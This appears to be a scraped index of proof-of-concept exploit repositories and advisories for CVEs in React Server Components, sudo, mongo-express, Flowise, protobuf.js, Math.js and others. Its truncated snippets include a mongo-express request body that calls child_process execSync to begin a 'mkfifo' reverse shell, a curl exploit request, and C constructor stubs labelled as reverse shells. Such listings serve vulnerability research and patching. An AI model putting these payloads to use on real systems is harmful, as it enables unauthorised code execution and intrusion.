CVE-2025-55182

CVE-2025-55182 Este repositorio contiene una reproducción de prueba de concepto PoC de CVE-2025-55182 , una vulnerabilidad de seguridad crítica en React Server Components RSC que permite la ejecución de código arbitrario sin autenticación. Descripción La vulnerabilidad existe en la forma en que...

sudoinjection

CVE-2025-32463: Escalada de Privilegios Local mediante sudo -R NSS Injection Resumen Este PoC demuestra escalada de privilegios local en sistemas Linux mediante el abuso de la opción sudo -R en conjunto con un módulo NSS personalizado. Apunta a la vulnerabilidad CVE-2025-32463, que se origina en ...

CVE-2018-6574

CVE-2018-6574 Steps to reproduce: 1. Create a .c file containing the malicious command revshell: root@kitploit: include include static void malicious attributeconstructor; void malicious system""; 2. Compile it using GCC. You must compile it on the exact architecture and OS as the target e.g. Lin...

CVE-2019-10758

CVE-2019-10758 PoC Setup root@kitploit: docker run -p 27017:27017 -d mongo npm install [email protected] cd nodemodules/mongo-express/ && node app.js cURL exploit root@kitploit: curl 'http://localhost:8081/checkValid' -H 'Authorization: Basic YWRtaW46cGFzcw==' --data...

CVE-2018-4121

CVE-2018-4121 - Safari Wasm Sections POC RCE Exploit by MWR Labs c 2018 Details this proof of concept exploit targets Safari 11.0.3 13604.5.6 on macOS 10.13.3 17D47 versions only. compile the payload of your choice as a dylib with a constructor run python filetojsarray.py your.dylib payload.js...

CVE-2026-41242

CVE-2026-41242 — protobuf.js Code Injection to RCE CVSS 9.4 Critical | Code Injection CWE-94 Overview protobuf.js npm: protobufjs versions ≤ 7.5.4 and ≤ 8.0.0 are vulnerable to arbitrary code execution via type names in the protobuf schema. The @protobufjs/codegen module concatenates type names...

CVE-2025-59528

CVE-2025-59528: Flowise CustomMCP Prueba de Concepto de Ejecución Remota de Código Una prueba de concepto en Go para CVE-2025-59528 dirigida a versiones de Flowise = 3.0.5. Resumen Flowise permite la ejecución de JavaScript no validada a través de la configuración del nodo CustomMCP. La aplicació...

CVE-2025-59528-POC

CVE-2025-59528 - Ejecución Remota de Código en FlowiseAI CustomMCP CVSS 10.0 Crítico | RCE Ciego | FlowiseAI Flowise = 2.2.7-patch.1 y 3.0.6 Resumen Una vulnerabilidad crítica de ejecución remota de código en el nodo CustomMCP de FlowiseAI Flowise. La función convertToValidJSONString pasa la...

CVE-2025-59528

CVE-2025-59528 – Flowise CustomMCP Node RCE PoC Overview This repo containts proof of concept demonstrating CVE-2025-59528 in Flowise v3.0.5 The vulnerability exists in the customMCP node, where user-supplied mcpServerConfig input is processed in a way that leads to JavaScript code execution via...

CVE-2025-55182

CVE-2025-55182 Si buscas una explicación real, msanft/CVE-2025-55182 tiene una buena con un PoC funcional. Este repositorio solo contiene algunas cosas que probé, que arrojaron resultados interesantes más o menos. ./thing.py ahora contiene un PoC funcional, la mayor parte tomado de...

CVE-2025-59528.yaml

CVE-2025-59528.yaml Flowise is a drag & drop user interface to build a customized large language model flow. In version 3.0.5, Flowise is vulnerable to remote code execution. The CustomMCP node allows users to input configuration settings for connecting to an external MCP server. This node parses...

CVE-2021-42342

CVE-2021-42342 CVE-2021-42342 RCE POC1:just prints root@kitploit: include include include include static void beforemainvoid attributeconstructor; static void beforemainvoid write1, "Hello World!\n", 14; POC2: reverse shell root@kitploit: include include include include char serverip=""; uint32t...

CVE-2025-55182

CVE-2025-55182 This repository contains a PoC reproduction of CVE-2025-55182 , a critical security vulnerability in React Server Components RSC that allows unauthenticated arbitrary code execution. Description The vulnerability exists in how React Server Components deserialize "Server Actions" fr...

EUVD-2026-84941

IBM Financial Transaction Manager FTM for RedHat OpenShift could allow a remote attacker to execute arbitrary code due to improper neutralization of user-controlled input within the new Function constructor...

CVE-2026-18162

IBM Financial Transaction Manager FTM for RedHat OpenShift could allow a remote attacker to execute arbitrary code due to improper neutralization of user-controlled input within the new Function constructor...

CVE-2026-18162 IBM Financial Transaction Manager (FTM) is Impacted by Multiple Vulnerabilities

IBM Financial Transaction Manager FTM for RedHat OpenShift could allow a remote attacker to execute arbitrary code due to improper neutralization of user-controlled input within the new Function constructor...

CVE-2026-18162

The IBM Financial Transaction Manager (FTM) for RedHat OpenShift is impacted by a vulnerability that could allow a remote attacker to execute arbitrary code . The root cause is the improper neutralization of user-controlled input within the new Function constructor . The vulnerability has a CRITI...

CVE-2019-10758

CVE-2019-10758 mongo-express ejecución remota de código, el código del shell inverso es el siguiente: CUERPO DE LA SOLICITUD 1: document=this.constructor.constructor"return process".mainModule.require"childprocess".execSync"mkfifo /tmp/f" CUERPO DE LA SOLICITUD 2:...

CVE-2025-58434-59528

CVE-2025-58434 + CVE-2025-59528 Cadena de explotación para dos vulnerabilidades que afectan Flowise = 3.0.5. Vulnerabilidades CVE-2025-58434 — Toma de Cuenta No Autenticada El endpoint de olvido de contraseña devuelve un token de restablecimiento de contraseña válido en la respuesta de la API sin...

CVE-2026-40897

CVE-2026-40897 Remote Code Execution in Math.js Expression Parser ★ CVE-2026-40897 Remote Code Execution in Math.js PoC ★ https://github.com/user-attachments/assets/8c394039-f00a-4875-991a-fb5f40bc6898 Overview CVE-2026-40897 is a Sandbox Bypass leading to Remote Code Execution vulnerability in...